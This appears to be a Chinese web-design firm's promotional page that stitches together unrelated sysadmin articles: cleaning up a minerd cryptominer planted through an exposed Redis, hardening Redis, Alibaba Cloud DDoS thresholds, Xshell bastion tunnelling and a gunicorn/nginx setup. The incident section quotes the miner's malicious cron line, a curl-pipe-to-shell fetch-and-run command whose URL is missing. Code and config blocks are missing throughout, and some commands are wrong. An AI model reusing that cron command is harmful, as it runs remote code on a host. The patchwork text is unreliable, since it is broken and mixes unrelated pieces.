十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
1. 关闭访问挖矿服务器的访问
站在用户的角度思考问题,与客户深入沟通,找到上高网站设计与上高网站推广的解决方案,凭借多年的经验,让设计与互联网技术结合,创造个性化、用户体验好的作品,建站类型包括:成都网站建设、网站设计、企业官网、英文网站、手机端网站、网站推广、申请域名、网络空间、企业邮箱。业务覆盖上高地区。
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top,查看了一会,没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句:
*/5 * * * * curl -fsSL | sh
病毒文件内容如下,感兴趣的可以研究下:
 View Code
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,然后就注入了病毒,下面是解决办法和清除工作:
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.
阿里云服务器能抗ddos吗?可以抗多少流量的ddos?是部分担心遭到DDOS攻击的用户比较关心的问题,因为网站遭遇到DDoS攻击是很多用户非常烦恼的事情,网站一旦遭到DDOS攻击很容易导致网站无法访问而又难以解决,阿里云服务器都有一定的DDoS基础防护,下面我们一起看看!
阿里云服务器能抗ddos吗?
阿里云服务器根据地域和配置的不同,可以免费抗一定流量的DDOS攻击,但是超过初始黑洞触发阈值就抗不了了,会进入黑洞。
阿里云服务器可以抗多少流量的ddos?
用户在购买阿里云服务器之后,云盾DDoS基础防护会为用户提供一定的DDoS基础防护,各个地域默认初始黑洞触发阈值如下表所示(单位:bps)。参考资料: DDOS防护
默认的黑洞时长是2.5个小时,黑洞期间不支持解封。 实际黑洞时长视攻击情况而定,从30分钟到24小时不等。黑洞时长主要受以下因素影响:
从以上信息,我们可以知道,阿里云服务器根据地域和配置的不同,可以免费抗一定流量的DDOS攻击,但是超过初始黑洞触发阈值就抗不了了,会进入黑洞,因此,如果DDOS流量过大,还是需要用户自己采取一些措施或者付费买DDOS防护等产品。 点此进入阿里云DDoS防护服务 :获取更高的带宽清洗能力并将防御前置到网络边缘。包含DDoS高防(新BGP)、DDoS高防(国际)、DDoS原生防护、游戏盾等
作为用户,我们应该如何防止云服务器被DDOS?
我们在使用阿里云服务器的时候,我给出几个建议。
1、挂cdn隐藏IP,在换成新的ip后,请务必挂cdn对真实的ip进行隐藏。参考资料: 阿里云CDN-内容分发网络-CDN网站加速
2、cdn还可以不止套一层,可以多层一起嵌套。
3、准备多个服务器做反向代理(配置可以不高能运行nginx就行,最好是那种空路由时间短的),每个反向代理服务器都指向主服务器节点,都绑定一个二级域名,都挂上不同的cdn。
4、主域名可以随时解析到任意一个反向代理服务器,并且可以挂免费的云监控来实时知晓状态,一个节点死了改解析就行。
5、在防火墙层面禁止所有的国外ip(这是大部分肉鸡主要来源),可以很好的降低攻击流量。
以上是比较简单,低成本的方法,如果钱多的话,建议购买阿里云高防IP和高防CDN等防御产品,这样针对不同场景不同的环节也有针对性的防御方案。
小菜运维仅仅只是一位菜鸟运维
废话不多说,小菜运维最近又完成了一套外包项目开发,现在准备将项目部署到甲方购买的阿里云服务器上。因为甲方是集团型大企业,又有自己的运维团队,很多规章制度比较规范,部署的时候要求通过跳板机/堡垒机登录阿里云内网ECS。虽然说跳板机很有必要也应该这样做,但奈何愿意这样做的客户是少之又少,这次是撞上大客户啦!
小菜运维平时都是使用的Xshell、Xftp管理服务器,这次通过跳板机登录内网ECS时不断输入密码,还不能直连内网ECS上传文件,操作了几次小菜运维就忍不住要口吐芬芳了,终于决定用Xshell的隧道来彻底解决一下这个效率低下、重复体力劳动的问题了!
Xshell的隧道转发类型共有三种,这里我们不展开介绍各自的应用场景,大家可以自行了解,我们这里选用的是Dynamic,可以实现自动连接内网ECS,也可直接连接FTP,但是前提是必须先连接跳板机建立起隧道,然后再连接内网ECS
隧道类型:
Local(Outgoing)
Dynamic(SOCKS4/5)
Remote(Incoming)
1. 连接跳板机
1.1 建立到跳板机的会话
Xshell选择新建会话,点击左侧 连接 ,在 常规 栏依次填入会话名称、跳板机IP、跳板机端口,然后依次完成 用户身份验证 、 登录脚本 设置,这里需要强调的一点是,务必记得设置 登录脚本 以保证隧道的长连接,避免因隧道的断开而导致后续其他远程目标机器的连接失败,具体操作如下图:
1.2 建立跳板机隧道
在上一步的对话框中,继续点击左侧 隧道 - 添加 ,在弹出的转移规则对话框中完成规则设置,这里要强调的是 源主机 是指你当前建立隧道连接的本地机器,一般填入 localhost 或 127.0.0.1 即可,而 目标主机 则是指你要远程连接的远程服务器,具体配置信息如下图:
2. 建立远程主机连接
2.1 建立到远程主机的会话
Xshell选择新建会话,点击左侧 连接 ,在 常规 栏依次填入会话名称、本机/本地IP、本机/本地监听端口,然后依次完成 用户身份验证 设置,这里需要强调的一点是,务必记得这里设置的连接主机地址 1.2 中设置转移规则时填写的 源主机 地址,而不是远程服务器的IP地址,同样的,这里设置的端口号也是 1.2 中设置转移规则时填写的 侦听端口 ,但是 用户身份验证 需要填写远程服务器的用户信息。具体操作如下图:
3. SSH/SFTP到远程服务器
自动连接远程服务器的前提是先连接到跳板机/堡垒机,然后再连接到远程服务器。
在Xshell中双击已建好的到堡垒机的会话,待成功完成登录后,再双击已建好的到远程服务器的会话,这时我们可以看到Xshell自动实现了登录远程服务器操作,这时在Xshell已登录的远程服务器页面,点击顶部工具栏的 新建文件传输 按钮,Xshell将自动打开Xftp并自动登录远程服务器的Xftp文件管理页面;
1. 连接跳板机
1.1 建立到跳板机的会话
这里和 Local(Outgoing)方式 的步骤完全相同,可参照之前步骤操作。
1.2 建立跳板机隧道
这里和 Local(Outgoing)方式 的区别在于转移规则的配置,具体配置信息如下图:
2. 建立远程主机连接
2.1 建立到远程主机的会话
这里和 Local(Outgoing)方式 的区别在于主机和端口号的配置,这里的主机和端口号都是配置的远程服务器的, 用户身份验证 同样还是需要填写远程服务器的用户信息。具体操作如下图:
2.2 建立到远程主机会话的代理
在上一步 2.1 建立到远程主机的会话 的对话框左侧,点击 代理 ,然后浏览并添加代理服务器,这里我们代理服务器设置的就是本地机器,要注意的是这里 代理服务器的监听端口必须和1.2中隧道转移规则设置的侦听端口保持一致 ,具体配置如下图:
3. SSH/SFTP到远程服务器
这里和 Local(Outgoing)方式 的步骤完全相同,可参照之前步骤操作。
基于隧道可以简化很多体力操作,感觉起来就好像堡垒机不存在一样,实际操作中推荐使用 Dynamic(SOCKS4/5)方式 ,因为Dynamic(SOCKS4/5)方式对于跳板机后有多台远程服务器需要连接的场景只需要配置一次隧道和代理,之后就可以直接添加到远程服务器的会话就可以了;而 Local(Outgoing)方式 则需要为每一台远程服务器添加一个单独的隧道才可以。
如果按照以上步骤操作仍然不能正常访问,那么……建议你联系你的堡垒机管理员,可能是堡垒机帐号/凭据/权限等的设置没有给足你权限。
附-参考文档:
阿里云·堡垒机
阿里云·透明代理
当我们执行下面的hello.py时,使用的flask自带的服务器,完成了web服务的启动。在生产环境中,flask自带的服务器,无法满足性能要求,我们这里采用Gunicorn做wsgi容器,来部署flask程序。Gunicorn(绿色独角兽)是一个Python WSGI的HTTP服务器。从Ruby的独角兽(Unicorn )项目移植。该Gunicorn服务器与各种Web框架兼容,实现非常简单,轻量级的资源消耗。Gunicorn直接用命令启动,不需要编写配置文件,相对uWSGI要容易很多。
区分几个概念 :
WSGI:全称是Web Server Gateway Interface(web服务器网关接口),它是一种规范,它是web服务器和web应用程序之间的接口。它的作用就像是桥梁,连接在web服务器和web应用框架之间。
uwsgi:是一种传输协议,用于定义传输信息的类型。
uWSGI:是实现了uwsgi协议WSGI的web服务器。
我们的部署方式: nginx + gunicorn + flask
web开发中,部署方式大致类似。简单来说,前端代理使用Nginx主要是为了实现分流、转发、负载均衡,以及分担服务器的压力。Nginx部署简单,内存消耗少,成本低。Nginx既可以做正向代理,也可以做反向代理。
正向代理 :请求经过代理服务器从局域网发出,然后到达互联网上的服务器。
特点 :服务端并不知道真正的客户端是谁。
反向代理 :请求从互联网发出,先进入代理服务器,再转发给局域网内的服务器。
特点 :客户端并不知道真正的服务端是谁。
区别 :正向代理的对象是客户端。反向代理的对象是服务端。
查看命令行选项 : 安装gunicorn成功后,通过命令行的方式可以查看gunicorn的使用信息。
直接运行 :
指定进程和端口号 : -w: 表示进程(worker)。 -b:表示绑定ip地址和端口号(bind)。--access-logfile:表示指定log文件的路径
作为守护进程后台运行 :
阿里云服务器默认安装到 /user/sbin/ 目录,进入目录,启动 ngnix:
Ubuntu 上配置 Nginx 也是很简单,不要去改动默认的 nginx.conf 只需要将/etc/nginx/sites-available/default文件替换掉就可以了。
新建一个 default 文件,添加以下内容:
修改完成后重启nginx即可。
Ubuntu 上配置 Nginx 另一种方法,cd 到 /etc/nginx/conf.d 文件夹,新建 xxx.conf 文件(xxx 可以是项目名,只要是 .conf 文件即可),写入以下内容:
需要监听 https 请求时,写入以下内容: